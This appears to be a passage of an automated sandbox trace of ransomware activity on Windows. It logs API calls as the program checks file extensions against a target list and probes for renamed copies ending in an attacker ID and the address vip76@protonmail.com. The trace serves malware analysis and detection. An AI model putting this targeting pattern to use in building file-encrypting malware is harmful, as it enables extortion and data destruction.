	[0168.201] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.201] lstrlenW (lpString=".xlsx") returned 5
	[0168.201] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0168.201] lstrlenW (lpString=".ppt") returned 4
	[0168.201] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0168.201] lstrlenW (lpString=".zip") returned 4
	[0168.201] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.201] lstrlenW (lpString=".rar") returned 4
	[0168.201] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.201] lstrlenW (lpString=".bz2") returned 4
	[0168.201] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.201] lstrlenW (lpString=".7z") returned 3
	[0168.201] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0168.201] lstrlenW (lpString=".dbf") returned 4
	[0168.201] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0168.201] lstrlenW (lpString=".1cd") returned 4
	[0168.201] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0168.201] lstrlenW (lpString=".jpg") returned 4
	[0168.201] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.202] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0168.202] lstrlenW (lpString="insertbase.xml") returned 14
	[0168.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0168.204] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=903) returned 1
	[0168.204] CloseHandle (hObject=0x46c) returned 1
	[0168.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20
	[0168.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0168.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0168.204] lstrlenW (lpString=".doc") returned 4
	[0168.204] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.204] lstrlenW (lpString=".docx") returned 5
	[0168.204] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0168.204] lstrlenW (lpString=".pdf") returned 4
	[0168.204] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.204] lstrlenW (lpString=".xls") returned 4
	[0168.204] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.204] lstrlenW (lpString=".xlsx") returned 5
	[0168.204] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0168.205] lstrlenW (lpString=".ppt") returned 4
	[0168.205] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0168.205] lstrlenW (lpString=".zip") returned 4
	[0168.205] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.205] lstrlenW (lpString=".rar") returned 4
	[0168.205] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.205] lstrlenW (lpString=".bz2") returned 4
	[0168.205] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.205] lstrlenW (lpString=".7z") returned 3
	[0168.205] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0168.205] lstrlenW (lpString=".dbf") returned 4
	[0168.205] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0168.205] lstrlenW (lpString=".1cd") returned 4
	[0168.205] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0168.205] lstrlenW (lpString=".jpg") returned 4
	[0168.205] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0168.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0168.205] lstrlenW (lpString=".doc") returned 4
	[0168.205] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.205] lstrlenW (lpString=".docx") returned 5
	[0168.205] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0168.205] lstrlenW (lpString=".pdf") returned 4
	[0168.205] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.205] lstrlenW (lpString=".xls") returned 4
	[0168.205] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.205] lstrlenW (lpString=".xlsx") returned 5
	[0168.206] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0168.206] lstrlenW (lpString=".ppt") returned 4
	[0168.206] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0168.206] lstrlenW (lpString=".zip") returned 4
	[0168.206] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.206] lstrlenW (lpString=".rar") returned 4
	[0168.206] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.206] lstrlenW (lpString=".bz2") returned 4
	[0168.206] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.206] lstrlenW (lpString=".7z") returned 3
	[0168.206] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0168.206] lstrlenW (lpString=".dbf") returned 4
	[0168.206] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0168.206] lstrlenW (lpString=".1cd") returned 4
	[0168.206] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0168.206] lstrlenW (lpString=".jpg") returned 4
	[0168.206] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.206] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0168.206] lstrlenW (lpString="insert.xml") returned 10
	[0168.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0168.207] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=215) returned 1
	[0168.207] CloseHandle (hObject=0x46c) returned 1
	[0168.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20
	[0168.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0168.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0168.208] lstrlenW (lpString=".doc") returned 4
	[0168.208] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.208] lstrlenW (lpString=".docx") returned 5
	[0168.208] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0168.208] lstrlenW (lpString=".pdf") returned 4
	[0168.208] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.208] lstrlenW (lpString=".xls") returned 4
	[0168.208] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.208] lstrlenW (lpString=".xlsx") returned 5
	[0168.208] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0168.208] lstrlenW (lpString=".ppt") returned 4
	[0168.208] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0168.208] lstrlenW (lpString=".zip") returned 4
	[0168.208] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.208] lstrlenW (lpString=".rar") returned 4
	[0168.208] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.208] lstrlenW (lpString=".bz2") returned 4
	[0168.208] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.208] lstrlenW (lpString=".7z") returned 3
	[0168.209] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0168.209] lstrlenW (lpString=".dbf") returned 4
	[0168.209] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0168.209] lstrlenW (lpString=".1cd") returned 4
	[0168.209] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0168.209] lstrlenW (lpString=".jpg") returned 4
	[0168.209] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0168.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0168.209] lstrlenW (lpString=".doc") returned 4
	[0168.209] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.209] lstrlenW (lpString=".docx") returned 5
	[0168.209] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0168.209] lstrlenW (lpString=".pdf") returned 4
	[0168.209] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.209] lstrlenW (lpString=".xls") returned 4
	[0168.209] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.209] lstrlenW (lpString=".xlsx") returned 5
	[0168.209] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0168.209] lstrlenW (lpString=".ppt") returned 4
	[0168.209] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0168.209] lstrlenW (lpString=".zip") returned 4
	[0168.209] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.209] lstrlenW (lpString=".rar") returned 4
	[0168.209] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.210] lstrlenW (lpString=".bz2") returned 4
	[0168.210] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.210] lstrlenW (lpString=".7z") returned 3
	[0168.210] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0168.210] lstrlenW (lpString=".dbf") returned 4
	[0168.210] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0168.210] lstrlenW (lpString=".1cd") returned 4
	[0168.210] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0168.210] lstrlenW (lpString=".jpg") returned 4
	[0168.210] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.210] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0168.210] lstrlenW (lpString="ea.xml") returned 6
	[0168.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0168.211] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=384) returned 1
	[0168.211] CloseHandle (hObject=0x46c) returned 1
	[0168.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20
	[0168.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0168.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0168.211] lstrlenW (lpString=".doc") returned 4
	[0168.212] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.212] lstrlenW (lpString=".docx") returned 5
	[0168.212] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0168.212] lstrlenW (lpString=".pdf") returned 4
	[0168.212] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.212] lstrlenW (lpString=".xls") returned 4
	[0168.212] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.212] lstrlenW (lpString=".xlsx") returned 5
	[0168.212] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0168.212] lstrlenW (lpString=".ppt") returned 4
	[0168.212] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0168.212] lstrlenW (lpString=".zip") returned 4
	[0168.212] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.212] lstrlenW (lpString=".rar") returned 4
	[0168.212] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.212] lstrlenW (lpString=".bz2") returned 4
	[0168.212] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.212] lstrlenW (lpString=".7z") returned 3
	[0168.212] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0168.212] lstrlenW (lpString=".dbf") returned 4
	[0168.212] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0168.212] lstrlenW (lpString=".1cd") returned 4
	[0168.212] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0168.212] lstrlenW (lpString=".jpg") returned 4
	[0168.212] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0168.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0168.213] lstrlenW (lpString=".doc") returned 4
	[0168.213] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.213] lstrlenW (lpString=".docx") returned 5
	[0168.213] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0168.213] lstrlenW (lpString=".pdf") returned 4
	[0168.213] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.213] lstrlenW (lpString=".xls") returned 4
	[0168.213] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.213] lstrlenW (lpString=".xlsx") returned 5
	[0168.213] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0168.213] lstrlenW (lpString=".ppt") returned 4
	[0168.213] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0168.213] lstrlenW (lpString=".zip") returned 4
	[0168.213] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.213] lstrlenW (lpString=".rar") returned 4
	[0168.213] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.213] lstrlenW (lpString=".bz2") returned 4
	[0168.213] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.213] lstrlenW (lpString=".7z") returned 3
	[0168.213] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0168.213] lstrlenW (lpString=".dbf") returned 4
	[0168.213] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0168.213] lstrlenW (lpString=".1cd") returned 4
	[0168.213] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0168.213] lstrlenW (lpString=".jpg") returned 4
	[0168.213] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.215] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0168.215] lstrlenW (lpString="keypadbase.xml") returned 14
	[0168.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0168.215] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=903) returned 1
	[0168.215] CloseHandle (hObject=0x46c) returned 1
	[0168.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20
	[0168.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0168.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0168.216] lstrlenW (lpString=".doc") returned 4
	[0168.216] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.216] lstrlenW (lpString=".docx") returned 5
	[0168.216] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0168.216] lstrlenW (lpString=".pdf") returned 4
	[0168.216] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.216] lstrlenW (lpString=".xls") returned 4
	[0168.216] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.216] lstrlenW (lpString=".xlsx") returned 5
	[0168.216] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0168.216] lstrlenW (lpString=".ppt") returned 4
	[0168.216] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0168.216] lstrlenW (lpString=".zip") returned 4
	[0168.216] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.216] lstrlenW (lpString=".rar") returned 4
	[0168.216] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.216] lstrlenW (lpString=".bz2") returned 4
	[0168.216] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.216] lstrlenW (lpString=".7z") returned 3
	[0168.216] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0168.216] lstrlenW (lpString=".dbf") returned 4
	[0168.216] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0168.216] lstrlenW (lpString=".1cd") returned 4
	[0168.216] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0168.217] lstrlenW (lpString=".jpg") returned 4
	[0168.217] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0168.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0168.217] lstrlenW (lpString=".doc") returned 4
	[0168.217] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.217] lstrlenW (lpString=".docx") returned 5
	[0168.217] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0168.217] lstrlenW (lpString=".pdf") returned 4
	[0168.217] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.217] lstrlenW (lpString=".xls") returned 4
	[0168.217] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.217] lstrlenW (lpString=".xlsx") returned 5
	[0168.217] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0168.217] lstrlenW (lpString=".ppt") returned 4
	[0168.217] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0168.217] lstrlenW (lpString=".zip") returned 4
	[0168.217] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.217] lstrlenW (lpString=".rar") returned 4
	[0168.217] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.217] lstrlenW (lpString=".bz2") returned 4
	[0168.217] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.217] lstrlenW (lpString=".7z") returned 3
	[0168.217] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0168.217] lstrlenW (lpString=".dbf") returned 4
	[0168.217] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0168.217] lstrlenW (lpString=".1cd") returned 4
	[0168.217] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0168.218] lstrlenW (lpString=".jpg") returned 4
	[0168.218] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.218] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0168.218] lstrlenW (lpString="kor-kor.xml") returned 11
